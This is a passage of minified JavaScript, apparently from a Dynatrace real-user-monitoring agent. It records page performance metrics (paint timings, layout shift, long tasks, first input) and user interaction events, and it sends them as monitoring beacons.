function Xk(){return vg.zc()}function rk(a,b,d,f,l){void 0===b&&(b=!1);void 0===d&&(d=!1);void 0===f&&(f=!1);ch(a,(null===l||void 0===l?void 0:l.contentType)||"");return me(!1,!0,b,d,{referrer:O(),beacon:a},f,l)}function Wi(a){Bm.push(a)}function ch(a,b){Ac(Bm,function(d){d(a,b)})}function $h(a,b){sk&&(sk&&!Yk&&(Pj.observe(document,sj),Yk=!0),gg[a]||(gg[a]=[],tk=Object.keys(gg),em[a]=b))}function Zk(a){sk&&(gg[a]&&(delete gg[a],delete em[a],Cm[a]=uk),tk=Object.keys(gg),0===tk.length&&Pj&&Yk&&(Pj.disconnect(),
Yk=!1))}function xg(a,b){if(!$k)return null;Xi[a]||(Xi[a]=new $k(b));return Xi[a]}function Qj(a){sk&&Xi[a]&&(Xi[a].disconnect(),delete Xi[a])}function al(a){return gg[a]?gg[a]:[]}function Jh(a,b){gg[a]=b}function Ng(a){return a&&Cm[a]||uk}function yi(){sj={childList:!0,subtree:!0};$k&&(Pj=new $k(function(a){for(var b=kc(),d=[],f=0;f<a.length;f++){var l=a[f];"childList"===l.type&&d.push.apply(d,l.addedNodes)}if(d.length)for(uk=b,a={time:b,nodes:d},b=0,d=tk;b<d.length;b++)f=d[b],l=em[f],"function"===
typeof l&&l(f,a),gg[f].push(a)}))}function Rj(a,b){var d=Nd;return d&&d.ib<Tc("tal")&&d.Ca+a<=Tc("tt")?(d=ne(!1),a={name:b?"".concat("setImmediate(...)"):"".concat("setTimeout(..., ").concat(a,")"),type:"_t_",start:kc(),Rd:a,pa:d||!0},ec(a).id):0}function Sj(a){if(a=$b(a))a.Wb(),Zc(function(){Cg();of(ed(),!0)},0)}function Og(a){var b=$b(a);b&&(b.af(),Dj++,Ob(nh,a),of(b))}function Pg(a){var b=$b(a);b&&(Dj--,Zc(function(){ze(a);b.Qe();of(ed(),!0)},0))}function fm(a,b){return Fd(970,a||"XHR Error",b)}
function Hl(a){return Fd(971,"XHR Canceled",a)}function Il(a){return Fd(972,"XHR Timeout",a)}function bl(a,b){return Fd(973,a||"Parser Error",b)}function tj(a,b){return Fd(974,a||"Setup Error",b)}function Tj(a,b){return Fd(979,a?a:"Unknown Error",b)}function zi(a,b){var d=0===a.time?0:b-a.time;a.total+=d;a.time=b;return a.Hd=d}function vk(a,b){void 0===b&&(b=kc());var d=cl[a];void 0===d&&(d=cl[a]={time:b,total:0,Hd:0});return zi(d,b)}function dl(a,b){void 0===b&&(b=kc());a=cl[a];if(void 0===a)return 0;
zi(a,b);a.time=0;return a.Hd}function gm(a){a=cl[a];return void 0===a?0:a.total}function el(a,b,d){if(!a||!b)return-1;if(a.findIndex)return a.findIndex(b,d);for(var f=0;f<a.length;f++)if(b.call(d,a[f],f,a))return f;return-1}function wk(a,b){if(ta(Array.prototype.map))return Array.prototype.map.call(a,b);for(var d=[],f=0;f<a.length;f++)Ob(d,b(a[f],f,a));return d}function uj(a){a=a&&a.length;return"number"===typeof a&&-1<a}function pg(a,b,d){return"function"===typeof b?(b=void 0===d?b:Ma(b,d),wk(a,
b)):a}function Kh(a,b,d){function f(){}if("function"===typeof Array.from)return b?Array.from(a,b,d):Array.from(a);if(Array.isArray(a))return pg(a,b,d);if(uj(a))return pg([].slice.call(a),b,d);var l=mb.Map||f,r=mb.Symbol||f,G=[];ta(mb.Set||f)&&Ue(a,19)&&a.forEach(function(ea){G.push(ea)});ta(l)&&Ue(a,20)&&a.forEach(function(ea,ya){G.push([ya,ea])});if(ta(r)&&mb.Symbol&&"function"===typeof a[Symbol.iterator]&&0===G.length)for(a=a[Symbol.iterator](),l=a.next();!l.done;)G.push(l.value),l=a.next();return pg(G,
b,d)}function ai(a,b,d){if("function"===typeof a.some)return a.some(b,d);a=Object(a);for(var f=a.length>>>0,l=0;l<f;l++)if(l in a&&b.call(d,a[l],l,a))return!0;return!1}function fl(a){var b=a.getAttribute("class"),d=100-a.tagName.length;if(!b)return"";b=b.trim().replace(/ +/g,".");if(b.length<=d)return b;a=ad(b.split("."),function(f){return f.length<d});for(b=a.join(".");b.length>d&&a.length;)a.pop(),b=a.join(".");return b}function qg(a,b){if(a.id&&100>=a.id.length)return b.unshift("#".concat(a.id)),
!0;var d=a.nodeName.toLowerCase();b.unshift(d);var f=fl(a);if(f&&(d+=".".concat(f),b[0]=d,vj(b)))return!0;f=a;for(var l=1;f;)f=f.previousElementSibling,(null===f||void 0===f?void 0:f.nodeName)===a.nodeName&&l++;d+=":nth-of-type(".concat(l,")");b[0]=d;if(vj(b))return!0;f=a.previousElementSibling;for(l=1;f;)f=f.previousElementSibling,++l;d=d.replace(/:nth-of-type\(\d+\)/,1<l?":nth-child(".concat(l,")"):":first-child");b[0]=d;return vj(b)}function vj(a){return 1===document.querySelectorAll(a.join(">")||
"").length}function Uj(a){if(!a||!Ue(a,8)||!document.querySelectorAll)return"";try{for(var b=a,d=[];b&&100>=d.join(">").length&&!qg(b,d);)b=b.parentElement;var f=d.join(">");if(100<f.length){var l=a.getAttribute("class"),r=a.tagName.toLowerCase();if(l)var G="..."+Ga("".concat(r,".").concat(l),100-r.length-3,!1,"");else{var ea=a.id;G=ea?"..."+Ga("#".concat(ea),97,!1,""):""}var ya=G||Ga(f,100,!0)}else ya=f;return ya}catch(ob){}return""}function Ai(a,b){try{if(3!==Hf&&("__vue__"===b||"__vue_app__"===
b)&&hc("usrvd")&&2!==Hf){var d,f,l,r;var G=(null===(l=null===(f=null===(d=a.__vue_app__)||void 0===d?void 0:d.config)||void 0===f?void 0:f.globalProperties)||void 0===l?void 0:l.$router)||(null===(r=a.__vue__)||void 0===r?void 0:r.$router);if(G){var ea="function"===typeof G.afterEach;var ya=G.currentRoute&&ea?!0:!1}else ya=!1;if(ya){var ob,zb;if(ob=(null===(zb=G.matcher)||void 0===zb?void 0:zb.match)||G.resolve){var pb,Tb,Hc,zc=null!==(Hc=null!==(pb=G.options.base)&&void 0!==pb?pb:null===(Tb=G.options.history)||
void 0===Tb?void 0:Tb.base)&&void 0!==Hc?Hc:"",Ad=G.options.mode;zc||"hash"!==Ad||(zc="#");var Zd=zc;a=Xg;for(b=0;b<a.length;b++){var Pc=a[b];Pc.oldView&&Pe(Pc.oldView,rg(Pc.oldView,ob,Zd));Pe(Pc.newView,rg(Pc.newView,ob,Zd))}Pc=ae;a=oj;Pe(Pc,rg(Pc,ob,Zd));Pe(a,rg(a,ob,Zd))}G.afterEach(gl);B(2)}}}catch(Ke){B(1)}}function gl(a){2===Hf&&Nj(xk(a),2)}function xk(a){var b=a.matched;a=a.path;return b.length?{group:b[b.length-1].path,name:a}:{name:a}}function rg(a,b,d){var f=yc(a.name,d),l=a.name;l===d?
l="/":-1!==f&&(l=l.substring(f+d.length));a=La(La({},a),{name:l});return La(La({},a),xk(b(a.name)))}function Af(a){void 0===Jl&&(Jl=Tc("prfSmpl")>Math.floor(1E4*Math.random()));Jl&&(0>hm&&(hm=Tc("msl"),Gg.dT_.si(function(){xh()},3E4),If(mb,"beforeunload",function(){xh(!0)})),Ym.push(a))}function yk(a){var b="";Ac(a.d,function(d){b+="".concat(d[0]).concat("=").concat(d[1]).concat("|")});return"".concat(a.i).concat("|").concat(a.t).concat("|").concat(b.slice(0,-1))}function dh(a,b){var d="";Ac(oc(b[1]),
function(f){d+="".concat(f).concat("=").concat(b[1][f]).concat("|")});return"".concat(a).concat("|").concat(b[0]).concat("|").concat(d.slice(0,-1))}function xh(a){void 0===a&&(a=!1);Ac(Ym.splice(0),function(b){if(0===b.t){var d=!1;for(var f=b.d,l=f.length;!d&&l;)d=0===f[--l][1]}else d=!1;d||(b.a?Kl(b):hl.push(yk(b)))});Bf(a)}function Kl(a){var b=a.i,d=Yi[b];d?(d[0]+=a.t,Ac(a.d,function(f){d[1][f[0]]=void 0!==d[1][f[0]]?d[1][f[0]]+f[1]:f[1]})):(Yi[b]=[a.t,{}],Ac(a.d,function(f){Yi[b][1][f[0]]=f[1]}))}
function Bf(a){void 0===a&&(a=!1);Ac(oc(Yi),function(d){hl.push(dh(d,Yi[d]))});var b="";Ac(hl,function(d,f,l){if(b.length+1+d.length>=hm){bi(b,a);b="";if(f===l.length-1)return bi("".concat(il).concat(d),a);b="".concat(il).concat(d)}else b?b=b+","+d:b="".concat(il).concat(d);b.length&&f===l.length-1&&bi(b,a)});hl=[];Yi={}}function bi(a,b){var d;void 0===b&&(b=!1);var f=Xk();vg.ar(f,a);rk(f,b,!1,!1,(d={},d.contentType="perf",d))}function Vj(a){if(Object.values)return Object.values(a);var b=[];if(a===
Object(a))for(var d in a)Ra(a,d)&&b.push(a[d]);return b}function ci(){di=Qg.connection;hc("eni")&&di&&Qe(function(a,b,d,f){!b&&de&&di&&(b="".concat(di.effectiveType||"-","|").concat(di.downlink||-1),di.type&&(b="".concat(b,"|").concat(di.type)),a.av(f,"ni",b,!1))})}function sg(a){return"longtask"===(null===a||void 0===a?void 0:a.entryType)&&50<a.duration}function Bi(a){Gg.dT_.apush(zk,{startTime:a.startTime,duration:a.duration})}function wj(){try{Wj=new PerformanceObserver(function(a){Ac(ad(a.getEntries(),
sg),Bi)}),Wj.observe({type:"longtask",buffered:!0})}catch(a){}}function Zi(){ei=yg=0;zg=fi=-5E3;jl=[];if(hc("cls")&&jf.cls)try{(new PerformanceObserver(function(a){a=a.getEntries();for(var b=0;b<a.length;b++){var d=a[b];if("layout-shift"===(null===d||void 0===d?void 0:d.entryType)&&!d.hadRecentInput){var f=d.startTime;if(0===gi){if(5E3<f-fi||1E3<f-zg)fi=f,ei=0;zg=f;ei+=d.value;yg=Math.max(yg,ei)}else 1===gi&&jl.push({startTime:f,xf:d.value})}}})).observe({type:"layout-shift",buffered:!0})}catch(a){}}
function Ak(){eh=new mb.PerformanceObserver(function(a){a=a.getEntries();for(var b=0;b<a.length;b++){var d=a[b],f=d.name;d=Math.round(d.startTime);"first-paint"===f&&(kl=d);"first-contentful-paint"===f&&(Bk=d)}});try{eh.observe({type:"paint",buffered:!0})}catch(a){eh.observe({entryTypes:["paint"]})}}function Xj(){im=new mb.PerformanceObserver(function(a){a=a.getEntries();a=a[a.length-1];if(a.size>Yj)switch(Yj=a.size,gi){case 0:Zm=$i(a);break;case 1:ll.push($i(a));break;case 2:pj-Mb>a.startTime&&(Yj=
a.size,a=$i(a),ag("_wv_",[["AAI",String(Kb)],["lcpE",a.Bc||"-"],["lcpSel",a.Nc||"-"],["lcpS",String(a.size)],["lcpT",String(a.Aa)],["lcpU",a.url||"-"],["lcpLT",String(a.loadTime)]],!1,void 0,1))}});try{im.observe({type:"largest-contentful-paint",buffered:!0})}catch(a){im.observe({entryTypes:["largest-contentful-paint"]})}}function $i(a){var b,d=a.startTime;d&&(d=Sa(d));return{Aa:Math.round(d),loadTime:Math.round(a.loadTime),size:a.size,Nc:Uj(a.element)||"-",Bc:(null===(b=a.element)||void 0===b?void 0:
b.tagName)||"-",url:a.url||"-"}}function hi(a){var b=0;for(a=a.getEntries();b<a.length;b++){var d=a[b];"first-input"===d.entryType&&d.processingStart&&d.startTime&&(Lh=Math.round(d.startTime),Ci=Math.round(d.processingStart-d.startTime))}Zj()}function Zj(){2===gi&&kc()<pj+2E4&&ag("_wv_",[["AAI",String(Kb)],["fIS",String(Lh)],["fID",String(Ci)]],!1,void 0,1)}function ml(){var a,b=null===(a=mb.PerformanceObserver)||void 0===a?void 0:a.supportedEntryTypes;return!!b&&-1!==mf(b,"first-input")}function Ck(){if(ml())try{(new PerformanceObserver(hi)).observe({type:"first-input",
buffered:!0})}catch(a){}else rb("GLOBAL_EVENT_FIRED",function d(b){var f=b.detail;b=f.e.timeStamp;if(Lh||-1===mf($m,f.t)||!b)b=!1;else{f=ef();var l=1E12<b;l&&b<f?b=!1:(Lh=Math.round(l?b-f:b),Ci=Math.max(0,Math.round(Dm()-Lh)),Zj(),b=!0)}b&&wb("GLOBAL_EVENT_FIRED",d)})}function ii(a){a.detail.i===Kb&&(wb("ACTION_CLOSED",ii),gi=1)}function yh(a){var b=a.detail,d=b.a;a=b.s;if(b.i===Kb){wb("ACTION_BEFORE_SEND",yh);gi=2;b=[];d=a-d;if(hc("pt")){if(jf.lcpT){var f=Zm;for(var l=ll.length-1;0<=l;l--)if(ll[l].Aa<
d){f=ll[l];break}f&&0!==f.Aa?f.Aa>d?f={Aa:-6}:Yj=f.size||0:f={Aa:-5};f.Bc&&f.Nc&&f.url?b.push(["lcpE",f.Bc],["lcpSel",f.Nc],["lcpS",String(f.size)],["lcpT",String(f.Aa)],["lcpU",f.url],["lcpLT",String(f.loadTime)]):b.push(["lcpT",String(f.Aa)])}else b.push(["lcpT","-3"]);jf.fcp?b.push(["fcp",String(Bk?Bk>d?-6:Sa(Bk):-5)]):b.push(["fcp","-3"]);jf.fp?b.push(["fp",String(kl?kl>d?-6:Sa(kl):-5)]):b.push(["fp","-3"])}if(hc("cls"))if(jf.cls){f=b.push;l=0;for(var r=jl;l<r.length;l++){var G=r[l],ea=G.startTime;
if(ea<d){if(5E3<ea-fi||1E3<ea-zg)fi=ea,ei=0;zg=ea;ei+=G.xf;yg=Math.max(yg,ei)}}jl=[];f.call(b,["cls",String(+yg.toFixed(4))])}else b.push(["cls","-3"]);if(hc("lt"))if(jf.lt){f=b.push;l=String;r=0;G=ef();ea=0;for(var ya=zk;ea<ya.length;ea++){var ob=ya[ea],zb=r+ob.duration>d;G+ob.startTime+ob.duration<=a&&!zb&&(r+=ob.duration)}null===Wj||void 0===Wj?void 0:Wj.disconnect();f.call(b,["lt",l(Math.round(r))])}else b.push(["lt","-3"]);0===Lh&&0===Ci||b.push(["fIS",String(Lh)],["fID",String(Ci)]);0<b.length&&
ag("_wv_",b,Kb,Mb,1)}}function jm(){try{var a=mb.dT_;if(!a||!(void 0===mb.dialogArguments?navigator.cookieEnabled||Ja():Ja()))return!1;var b=mb.dT_;b.initialized=!1;b.pageId="";b.pageTitle="";b.frameCount=0;b.bwsW=0;b.bwsH=0;b.syn=!1;b.googleBot=!1;b.tp=Pd;b.tdto=ic;b.gicv=L;b.aFU=jd;b.gPId=Lc;b.iRO=bc;b.gBI=H;b.iMD=ia;b.cfg=N;b.acfgP=ha;b.smbi=ve;b.ism=vd;b.iMod=u;b.gMu=E;b.tau=R;b.icr=oa;b.lv=Za;b.sv=vb;b.svl=Oa;b.gh=Ha;b.cvs=Xf;b.aesc=I;b.puesc=ka;b.rsc=Cb;b.tpesc=$a;b.ulc=Qb;b.afpl=Zb;b.apl=q;
b.rpl=D;b.dbg=t;b.dbc=y;b.dlf=Y;b.rxapply=Eb;b.loc=O;b.sch=fj;b.gPO=Nb;b.gCPO=ac;b.gNTO=qa;b.vAT=Sa;b.cVIn=mc;b.sNT=Oc;b.gPAH=zd;b.id=Db;b.ss=Cf;b.ssP=Wk;b.asl=nf;b.sMPS=Bg;b.gBP=tf;b.cB=Xk;b.sB=rk;b.gid=Wc;b.ea=ud;b.la=We;b.lx=Ed;b.ex=bf;b.ec=mg;b.lc=kh;b.eV=Mj;b.pe=Fl;b.pw=qk;b.pl=Kf;b.rv=bh;b.rs=nd;b.pcn=Jf;b.ca=jb;b.can=Gi;b.isci=ig;b.noa=Te;b.ti=M;b.las=Va;b.gca=lb;b.gAR=Rd;b.gAA=Bd;b.sxbe=Gf;b.aWF=$e.dtAWF;b.mx=lh;b.mxf=Fd;b.mxg=fm;b.mxc=Hl;b.mxt=Il;b.mxp=bl;b.mxs=tj;b.mxu=Tj;b.gITAID=ke;b.re=
qj;b.rex=Uk;b.bi=Ub;b.ei=dd;b.gci=Pb;b.gpi=cc;b.cii=lc;b.pii=$c;b.gcv=K;b.aad=Ne;b.sole=Dc;b.iolm=td;b.solb=Od;b.slem=Dd;b.lst=V;b.sle=pe;b.obc=Lj;b.ile=Tk;b.gLEELF=ib;b.gNNTV=aa;b.gLAet=Jb;b.iSAC=vi;b.sSAC=pk;b.lAID=pa;b.maep=ui;b.snt=k;b.aO=xg;b.rO=Qj;b.aMO=$h;b.rMO=Zk;b.gMN=al;b.sMN=Jh;b.lAM=Ng;b.eta=Rj;b.lta=Sj;b.etc=Og;b.ltc=Pg;b.cia=Ei;b.wst=vk;b.wsp=dl;b.wtt=gm;b.rpm=Af;b.sasl=Wi;b.dnrui=Ce;b.aFr=ad;b.fE=Ac;b.aM=wk;b.cA=gd;b.aAP=uh;b.iBt=la;b.cAE=ag;b.addE=rb;b.remE=wb;b.disE=pc;b.red=sa;b.cUIRO=
Vd;b.aAWC=Cc;b.gXACT=Sd;b.aF=Kh;b.uaxu=Bc;b.gaxu=qe;b.last=nb;b.aFI=el;b.aur=Ca;b.oK=oc;b.oHOP=Ra;b.aS=ai;b.oV=Vj;b.gdi=pi;b.ssmbi=He;b.gecsss=Uj;b.fEP=Ic;b.iVRA=Ai;b.sNV=Nj;b.sVDM=B;b.gVDM=J;b.fP=dc;b.iNF=ta;b.aAPy=Xe;a.version="10243220606153550";var d=C();Zc=d.st;kc=d.nw;$d=d.pn;yc=d.io;Ob=d.apush;lf=d.sC;ng=d.gC;Hg=d.esc;Cd=d.cLSCK;og=d.gPC;ij=d.sPC;Mi=d.iVSC;Id=d.p3SC;pd=d.gSC;jj=d.sSC;qi=d.gVI;Yl=d.cPC;lk=d.gSSV;Qk=d.sSSV;mh=d.gEBTN;ph=d.gEL;Li=d.gSId;cg=d.pCfg;Ni=d.pCSAA;wl=d.cFHFAU;Ej=d.sCD;hc=d.bcv;
Tc=d.ncv;Xc=d.scv;fh=d.stcv;Xl=d.rplC;Qe=d.aBPSL;zl=d.gBPSL;Eh=d.gBPSCC;bg=d.gFId;Mk=d.oEIE;hj=d.oEIEWA;Ll=d.iNV;jk=d.gVID;Dk=d.gARnVF;nj=d.cAUV;kd=d.sVIdUP;Cl=d.gDtc;aj=d.cfgO;gk=d.version;wm=d.rBPSL;Ud=d.aNVL;Mh=d.dPV;Em=d.ePV;Ml=d.eA;nl=d.dA;Nk=d.iXB;kk=d.de;Fj=d.aRI;Oi=d.gXBR;Qh=d.cCL;Dm=d.rnw;ef=d.gto;Hj=d.iEC;ti=d.ct;If=d.ael;El=d.cuel;Am=d.gNVIdN;Gj=d.gxwp;mf=d.aIOf;ol=d.prm;Fm=d.gidi;tm=d.iDCV;hk=d.gCF;d.iIO?Ue=d.iIO:(Ue=Aa,d.iIO=Ue);d.gPSMB?Ii=d.gPSMB:(Ii=fa,d.gPSMB=Ii);d.iAEPOO?md=d.iAEPOO:
(md=S,d.iAEPOO=md);d.lvl?oe=d.lvl:(oe=va,d.lvl=oe);ra=ol();var f=navigator.userAgent;try{a=/Firefox[\/\s](\d+\.\d+)/;b=/(iPod|iPhone|iPad)/;d=/AppleWebKit/;if(0<=yc(f,"MSIE")){var l=f.lastIndexOf("MSIE")+5;p.ie=$d(f.substring(l,l+3));var r=f.lastIndexOf("Trident")+8;p.trident=$d(f.substring(r,r+1))}else if(0<=yc(f,"Trident")){var G=f.lastIndexOf("Trident")+8;p.trident=$d(f.substring(G,G+1));if(0<=yc(f,"rv:")){var ea=f.lastIndexOf("rv:")+3;var ya=$d(f.substring(ea,ea+2))}else 0<=yc(f,"rv ")?(ea=f.lastIndexOf("rv ")+
3,ya=$d(f.substring(ea,ea+2))):ya=NaN;p.ie=ya}else if(0<=yc(f,"Edge")){var ob=f.lastIndexOf("Edge")+5;p.edge=$d(f.substring(ob,ob+2))}else if(0<=yc(f,"Edg/")){var zb=f.lastIndexOf("Edg/")+4;p.ec=$d(f.substring(zb,zb+2))}else if(0<=yc(f,"Android")){var pb=yc(f,"Android")+8;p.ab=parseFloat(f.substring(pb,pb+3))}else if(f.match(b)&&f.match(d))p.msf=parseFloat((f.match(/(?:OS |Version\/)([0-9]+)(?:[_.][0-9])*/)||[])[1]);else if(("Safari"===navigator.appName||-1<yc(f,"Safari"))&&-1===yc(f,"Chrom")){var Tb=
f.substring(f.lastIndexOf("Version/")).match(/Version\/([0-9]+(\.[0-9]*)?)/);var Hc=Tb?$d(Tb[1]):NaN;p.sf=Hc}else if(mb.opera)p.op=$d(mb.opera.version().split(".")[0]);else if(0<=yc(f,"OPR/"))p.op=$d((f.match(/OPR\/([0-9]*\.[0-9]*)/)||[])[1]);else if(a.test(f)){var zc=$d((f.match(a)||[])[1]);p.ff=-1===zc?0:zc}else{var Ad,Zd=null===(Ad=/Chrome\/([0-9]{1,4})/.exec(f))||void 0===Ad?void 0:Ad[1];p.ch=Number(Zd)||NaN}C().syn=0<yc(f,"RuxitSynthetic");C().googleBot=0<=yc(f,"Googlebot")}catch(Gm){}var Pc,
Ke=mb.dT_,Dh=gb();Dh!==Ke.version&&(null===(Pc=mb.console)||void 0===Pc?void 0:Pc.log("WARNING: Snippet version ["+Ke.version+"] and monitoring code ["+Dh+"] versions do not match! Please update your code snippet to ensure compatibility."));Ke.version="10243220606153550";h=Ke.agentStartTime||Ke.gAST();if(!Ke||Ke.initialized)return!1;f=0;for(var Ve=oc(Bj);f<Ve.length;f++)Bj[Ve[f]]=[];Sc();Qd();Pf=aj?aj():C().cfg;Pf.initializedModules="";Nk(Pf);Rg();Ve=0;p.sf?Ve=100:p.msf&&(Ve=1E3);cm=Ve;Ze={actions:{},oa:[]};
Wl=1;ge=[];Le=[];Nd=null;Ab(null,!0);vf=[];Fi();Be=0;rb("PAGE_BACKGROUND_INFORMATION",oi);rm=Of(O());tg();rb("CONFIG_UPDATE",tg);yl={};dg=ic();Rh=zf=void 0;sm=0;ik=!0;hc("imm")&&ia()||(Kd("click","C","clk"),Kd("mousedown","D","mdw"),Kd("mouseup","U","mup"));Kd("dblclick","CC","dcl");Kd("keydown","KD","kyd");Kd("keyup","KU","kyu");Kd("scroll","S","scr");Kd("touchstart","TS","tcs");Kd("touchend","TE","tce");Kd("change","H","chg");if(Xc("ade")){var Qf=Xc("ade").split(",");if(Qf&&0<Qf.length)for(Ve=0;Ve<
Qf.length;Ve++)Kd(Qf[Ve])}pj=0;a:{var ri=mh("meta"),sf=Tc("mrt");for(Qf=0;Qf<ri.length;Qf++){var ff=ri[Qf],kj=ff.getAttribute("http-equiv");if(kj&&"refresh"===kj.toLowerCase()){var zh=ff.getAttribute("content");if($d((zh&&zh.split(";")||[])[0])<=sf){var xj=!0;break a}}}xj=!1}xj&&td();"undefined"!==typeof WeakMap&&(Sf=new WeakMap);var Hm=document.location;Hm&&ic().aFU(Hm.href);var Nl=Xc("rid");if(!Nl||"RID_"===Nl){ri=fh;var Ek=Xc("ridPath"),pl=Ek?Ek:mb.location.pathname,Di=mb.location.search;Di&&Di.length&&
"?"===Di.charAt(0)&&(Di=Di.substring(1));Ek=Di;var Fk=31+yb(pl);Fk=31*Fk+yb(Ek);ri("rid","RID_"+(Fk&Fk))}var ak=mb.performance;if(ak){var bk=Hb(ak);if(bk){var vn=Ka(bk)?0:qa(ak);Qb((bk.requestStart-(bk.redirectEnd||vn))/2,!0)}}If(mb,"beforeunload",Lj);If(mb,"unload",$g);If(mb,"pagehide",sh);If(document,"readystatechange",Vh);Zc(Zg,3E3);If(mb,"load",Uh);Mb=Rb();xj=!xj;var Nh=ic().sSAC;Nh&&Nh(!1);var be=(hc("dsss")?Za("dtSa"):decodeURIComponent(ng("dtSa"))).split("|");if(12===be.length){var bj=hc("dsss"),
wn=hc("dssv");Nh="";!bj&&wn?Nh=Za("dtSa",!0):bj&&!wn&&(Nh=decodeURIComponent(ng("dtSa")));var Ag=Nh.split("|");if(4===Ag.length){var Ol=Ag[1],xn=Ag[2],Rn=Ag[3];be.push(Ag[0]);be.push(Ol);be.push(xn||"");be.push(Rn)}}var Gk=be.join("|");xj&&xc("-");if(Gk&&"-"!==Gk){var ue=Gk.split("|");if(16===ue.length){var km=$d(ue[5]);be=Mb;if(km<=be&&6E4>=be-km){be={id:-1,kind:-1,hydrated:!1,trigger:-1};bj=0;for(var an=ka(ue[15]).split(";");bj<an.length;bj++){var Hk=an[bj],ck=Hk.substring(1);switch(Hk.charAt(0)){case "i":be.id=
Number(ck);break;case "k":be.kind=Number(ck);break;case "h":be.hydrated=!!Number(ck);break;case "t":be.trigger=Number(ck)}}var ql={isDelayed:"true"==ue[0],type:ue[1],id:$d(ue[2]),name:ue[3],info:ue[4],startTime:km,frameId:ue[6],qa:Ba(ue[7]),anchor:ue[10],aa:ue[11],na:{name:Ba(ue[12]),timestamp:$d(ue[13]),group:Ba(ue[14]),trigger:be.trigger,kind:be.kind,hydrated:be.hydrated,id:be.id}};ue=!1;C()!==ic()&&(ue=ic().iRO(ql.qa));!document.referrer||ql.qa===document.referrer||ql.qa===document.location.href||
ue?Sh=ql:xc(Gk)}else xc("-")}}try{B(1);oj=ae={id:++xm,name:Ch(O()),timestamp:Mb,kind:0,trigger:Hf,hydrated:!1};var wf,lm=null===(wf=Sh)||void 0===wf?void 0:wf.na,Ik=yf(lm,ae);Ya(Ik);rb("VIEW_STABLE",Fg);rb("ACTION_ENTERED",Df);rb("ACTION_BEFORE_SEND",Mf);rb("ACTION_SENT",Vg);Qc=F(da);rb("HISTORY_API_EVENT",P);If(mb,"popstate",P);If(mb,"hashchange",P);try{Qa("pushState"),Qa("replaceState")}catch(Gm){}Qe(hb)}catch(Gm){}Gb();ah();Md();Yd();w();ci();Fh="0";var ji=document.visibilityState;ji?("hidden"===
ji&&(Fh="1"),If(document,"visibilitychange",ni)):Fh="2";Yf();gi=0;var cj=!!mb.PerformanceObserver;jf.cls=!(!cj||!mb.LayoutShift);jf.fcp=!(!cj||!mb.PerformancePaintTiming);jf.fp=!(!cj||!mb.PerformancePaintTiming);jf.lcpT=!(!cj||!mb.LargestContentfulPaint);jf.lt=!(!cj||!mb.PerformanceLongTaskTiming);hc("pt")&&(jf.fp&&Ak(),jf.lcpT&&Xj());Zi();zk=[];hc("lt")&&jf.lt&&wj();Ck();rb("ACTION_CLOSED",ii);rb("ACTION_BEFORE_SEND",yh);Ih();yi();Qe(Zh);rb("DEBUG_INFO_REQUESTED",Gl);gj();ug();rb("DEBUG_INFO_REQUESTED",
Fm);re();if("undefined"===typeof mb.dT_)var Im=!1;else"undefined"===typeof mb.dtrum&&(mb.dtrum=new dj),Im=!0;if(!Im)return!1;var ki=C();ki.initialized=!0;"function"===typeof ki.initCallback&&ki.initCallback()}catch(Gm){return!1}return!0}var Gg="undefined"!==typeof window?window:self,mb="undefined"!==typeof window?window:self,Qg=navigator,Th=self,Ue,Ii,md,oe,Zc,kc,$d,yc,Ob,lf,ng,Hg,Cd,og,ij,Mi,Id,pd,jj,qi,Yl,lk,Qk,mh,ph,Li,cg,Ni,wl,Ej,hc,Tc,Xc,fh,Xl,Qe,zl,Eh,bg,Mk,hj,Ll,jk,Dk,nj,kd,Cl,aj,wm,Ud,Mh,
Em,Ml,nl,Nk,kk,Fj,Oi,Qh,Dm,ef,Hj,ti,If,El,Am,Gj,mf,ol,Fm,tm,hk,gk,h,n=mb.parent,p={ie:NaN,edge:NaN,ec:NaN,ff:NaN,ch:NaN,sf:NaN,msf:NaN,ab:NaN,trident:NaN,op:NaN},z="function"===typeof PerformanceResourceTiming||"object"===typeof PerformanceResourceTiming,T="function"===typeof PerformanceNavigationTiming||"object"===typeof PerformanceNavigationTiming,Xa="function"===typeof PerformanceTiming||"object"===typeof PerformanceTiming,ub="loadEventEnd loadEventStart domComplete domContentLoadedEventEnd domContentLoadedEventStart domInteractive responseEnd".split(" "),
kb=!1,Mb=-1,Kb,Gc=[],se=!1,Rf,Kg,Ig,de=!1,Be=0,ge=[],Le=[],Nd,Aj,co="^><%/\\(){}[]".split(""),nn=String.prototype.trim,Qm={"^":"^^","|":"^p",",":"^c",";":"^s"},on=function(a){var b={},d;for(d in a)Ra(a,d)&&(b[a[d]]=d);return b}(Qm),Ph={},fe,Bj=(fe={},fe.CONFIG_UPDATE=[],fe.ACTION_CLOSED=[],fe.ACTION_BEACON_FORCED=[],fe.ACTION_BEFORE_SEND=[],fe.ACTION_SENT=[],fe.ACTION_ENTERED=[],fe.ACTION_LEFT=[],fe.VIEW_CHANGE=[],fe.VIEW_STABLE=[],fe.DEBUG_INFO_REQUESTED=[],fe.CSS_TRANSMISSION_STARTED=[],fe.VISUALLY_COMPLETE=
[],fe.GLOBAL_EVENT_FIRED=[],fe.HISTORY_API_EVENT=[],fe.PAGE_BACKGROUND_INFORMATION=[],fe.LOAD_END=[],fe.INSTRUMENTATION_TRIGGERED=[],fe.PAGE_LEAVING=[],fe),Ze,ul=[],om=!1,Ki,Vl,Wg,pm=[],Cj=[],Ji,vl="",Wl=1,Dj=0,nh=[],Tm,Sn=function(){function a(){this.id=++Tm;this.pb=[];this.gd=this.Kb=!1;this.Tb=[]}a.prototype.jf=function(b){this.pb.push(b)};a.prototype.ng=function(b){for(var d=0;d<this.pb.length;d++)if(this.pb[d]===b){eb(this.pb,d);break}};a.prototype.ef=function(b,d,f,l){for(var r=0,G=this.pb;r<
G.length;r++)(0,G[r])(b,d,f,l)};a.prototype.lf=function(b){this.Rb=b;"string"!==typeof b&&(this.gd=!0)};a.prototype.Y=function(b,d,f){void 0===f&&(f=!1);this.Kb=this.Kb||f;Ob(this.Tb,[b,d])};a.prototype.Ya=function(b,d,f){d&&this.Y(b,d,f)};a.prototype.zb=function(b){for(var d=0,f=this.Tb;d<f.length;d++){var l=f[d];if(l[0]===b)return l[1]}return""};a.prototype.Yc=function(){for(var b=[],d=0,f=this.Tb;d<f.length;d++){var l=f[d];Ob(b,"$",l[0],"=",l[1])}return b.join("")};a.prototype.raw=function(){return this.Tb};
